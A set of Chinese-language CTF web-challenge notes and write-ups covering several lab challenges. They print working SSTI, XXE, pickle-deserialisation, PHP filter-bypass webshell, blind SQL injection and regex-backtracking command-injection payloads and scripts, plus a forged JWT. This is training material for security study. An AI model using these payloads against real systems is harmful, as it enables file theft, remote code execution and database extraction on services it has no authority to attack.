[BSidesCF 2019]Futurella
火星文
- 复制粘贴搜索框就可以获得flag
- 看源码
轻易得不敢copy flag
[GYCTF2020]FlaskApp
这里会自动重定向到xss平台,很迷
flask debug可以找到源码
flasky
尝试ssti模板注入
先重定向 点击返回拿到base64编码去解码 同理点击+返回操作
{{7*7}}不可以 {{7+7}}可以 别问为什么 有waf
读app.py
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py', 'r').read() }}{% endif %}{% endfor %}
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
Open an interactive python shell in this frame
res = render_template_string(tmp)
from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)
@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")
@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
waf
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
过滤了* 怪不得
过滤了flag和一些重要函数
利用拼接绕过
os.listdir()
方法用于返回指定的文件夹包含的文件或文件夹的名字的列表
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
拼接flag
利用open
函数读取this_is_the_flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}
{% endif %}
{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %
学习:
切片+[::-1]倒置
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
[NCTF2019]True XML cookbook
- XXE外部实体注入
- 探测内网
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE j1a [
<!ENTITY exp SYSTEM "file:///etc/passwd">
]>
<user><username>&exp;</username><password>123</password></user>
成功xxe
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE j1a [
<!ENTITY exp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&exp;</username><password>123</password></user>
- 内网存活主机探测
内网探测存活的主机=>获取/etc/hosts
文件
无有效信息
获取/proc/net/arp
文件
内网存活主机ip=>10.0.158.2
- 扫c段
## [CISCN2019 华北赛区 Day1 Web2]ikun
要买lv6,这一页没有,下一页也没有,跑脚本吧
标志是lv6.png
,因为lv6每一页都会有
import requests
url = "http://06b6c6d8-b926-4e4e-a153-7d40ce739679.node4.buuoj.cn:81/shop?page="
for i in range(2, 200):
res = requests.get(url+str(i))
if 'lv6.png' in res.text:
print(i)
break
在181页
第一个商品就是,buy it
还是买不了,抓包看看,有一个价钱和多出来的" 折扣 ",
- 改价格
- 改折扣
怎么小怎么改,改折扣成功
只能admin,那看看token,是JWT
知识点:
什么是JWT
COOKIE,SESSION,JWT的区别
工具:
- 获得信息
- 破解密钥
- 修改信息
https://github.com/brendan-rius/c-jwt-cracker
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
这里有个严重的逻辑错误,改jwt重放的页面是这个页面,不是购买的页面,它都提示了。。。
查看源码:
提示www.zip
源码泄露
看看这个模板对应的源码,搜一下This is Black Technology
admin.py
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
become
对应请求头
- pickle反序列化
pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀
为.pkl),不能直接打开进行预览。
https://blog.csdn.net/u013008795/article/details/89790828
https://zhuanlan.zhihu.com/p/64027434
https://www.jb51.net/article/57661.htm
函数 | 说明 |
---|---|
dumps | 对象反序列化为bytes对象 |
dump | 对象反序列化到文件对象,存入文件 |
loads | 从bytes对象反序列化 |
load | 对象反序列化,从文件中读取数据 |
二进制流&&文件形式
dump(obj,file,protocol=None,*,fix_imports=True) #将obj对象序列化后写入file中
- obj:需要序列化的对象
- file:文件描述符,需要写入的文件描述符
- protocol:协议 序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本
- fix_imports:
dumps(obj, protocol=None, *, fix_imports=True)->bytes #将obj对象序列化后返回序列化的bytes对象
- obj:需要序列化的对象
- protocol:协议
- fix_imports:
- bytes:返回值 序列化后的bytes
load(file, *, fix_imports=True, encoding=“ASCII”, errors=“strict”) #从文件中读取内容反序列化。
- file :文件描述符,序列化后生成的文件。
- fix_imports:
- encoding:文件编码,默认为ASCII
- errors
loads(bytes_object, *, fix_imports=True, encoding=“ASCII”, errors=“strict”)->从bytes中反序列化
- bytes_object:序列化后的bytes对象
- fix_imports:
- encoding:编码
- errors
总:
好好学习:
《python魔术方法指南》
这里利用的是__reduce__
exp.py
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
become = pickle.dumps(payload())
become = urllib.quote(a)
print become
urlib.quote
这里是python2
语法
一键成为大会员
[MRCTF2020]套娃
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
-
php特性
PHP的字符串解析特性Bypass
-
b_u_p_t
b+u+p+t
b.u.p.t
b%20u%20p%20t -
不能以23333结尾,%0a截断
/secrettw.php
看源码
- jsfuck编码
post me Merak
- post传参Merak
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
- 本地
x-forwarded-for不可以
client-ip可以
- data伪协议绕过if
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )
- re
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
加密了,反写一波
逆向逆向==正向
<?php
function rerechange($v){
$rere = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return base64_encode($rere);
}
$str="flag.php";
echo rerechange($str);
//ZmpdYSZmXGI=
[极客大挑战 2019]RCE ME
这个过滤好狠
PHP代码执行中出现过滤限制的绕过执行方法
执行函数:
- eval
- assert
- system
- exec
- shell_exec
- passthru
- preg_replace()+/e
- create_function()
- call_user_func_array()
- call_user_func()
- array_map()
- array_filter()
绕过方法:
- 字符串拼接绕过
- 字符串转义绕过
- 多次传参绕过
- 内置函数访问绕过
- 异或绕过
- URL编码取反绕过
1. 异或、取反urlencode编码绕过+蚁剑
异或
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo
取反(下一步好像不能一句话)
C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
C:\Users\Administrator>
<?php
error_reporting(0);
$a='assert';
$a=urlencode(~$a);
echo $a;
echo "<br>";
$b='(eval($_POST["j1a"]))';
$b=urlencode(~$b);
echo $b;
?>
2.通过环境变量LD_PRELOAD+mail劫持so来执行系统命令
antsword jsp环境
永远的痛
https://www.cnblogs.com/yesec/p/12483631.html
[WUSTCTF2020]颜值成绩查询
- 布尔盲注
/?stunum=1#
2-1
1^1^1
均回显成功,过滤了空格,尝试手工发现式布尔盲注
参考之前的
当时的exp写的二分法比较特殊,这里是正常的写法:
import requests
import time
url = "http://ade85c26-7f56-4212-9d96-d4906f545b19.node4.buuoj.cn:81/?stunum="
res = ''
for i in range(1, 50):
print(i)
left = 31
right = 127
mid = left + ((right - left) >> 1)
while left < right:
#payload = "1^(ascii(substr(database(),{},1))>{})".format(i,mid)
#payload = "^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),{},1))>{})".format(i,mid)
#payload = "^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))>{})".format(i,mid)
payload = "^(ascii(substr((select(value)from(flag)),{},1))>{})".format(i, mid)
r = requests.get(url=url+payload, timeout=3)
if r.status_code == 429:
print('too fast')
time.sleep(1)
if 'Hi admin, your score is: 100' not in r.text:
left = mid + 1
elif 'Hi admin, your score is: 100' in r.text:
right = mid
mid = left + ((right-left) >> 1)
if mid == 31 or mid == 127:
break
res += chr(mid)
print(str(mid), res)
调了好久的payload 我恨啊
timeout根据情况设置
https://blog.csdn.net/SopRomeo/article/details/106148254
这个抽奖不简单
查看源码,有一段js代码
$(document).ready(function(){
$("#div1").load("check.php #p1");
$(".close").click(function(){
$("#myAlert").hide();
});
$("#button1").click(function(){
$("#myAlert").hide();
guess=$("input").val();
$.ajax({
type: "POST",
url: "check.php",
data: "num="+guess,
success: function(msg){
$("#div2").append(msg);
alertmsg = $("#flag").text();
if(alertmsg=="没抽中哦,再试试吧"){
$("#myAlert").attr("class","alert alert-warning");
if($("#new").text()=="")
$("#new").append(alertmsg);
}
else{
$("#myAlert").attr("class","alert alert-success");
if($("#new").text()=="")
$("#new").append(alertmsg);
}
}
});
$("#myAlert").show();
$("#new").empty();
$("#div2").empty();
});
});
看看check.php
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
- php伪随机性
如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
原理:mt_scrand(seed)函数通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。
工具:https://www.openwall.com/php_mt_seed/
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
生成随机数正逻辑
根据给出的随机数的一个part逆向出
用工具爆破出seed
正逻辑生成完整的随机数
67324128
[FBCTF2019]RCEService
离fastjson-rce更近了一步
- jason格式写rce-payload
?cmd={"cmd":"ls"}
根据网传源码过滤了很多函数
preg_match()函数只能匹配第一行数据,可以使用换行符%0a
绕过尝试对应的换行截断
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
为什么是这个目录呢?
网传源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
学习:
https://xz.aliyun.com/t/5399
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://8389c34b-492e-4bf1-b4e3-8974b7d57476.node4.buuoj.cn:81/", data={"cmd":payload})
#print(payload)
print(res.text)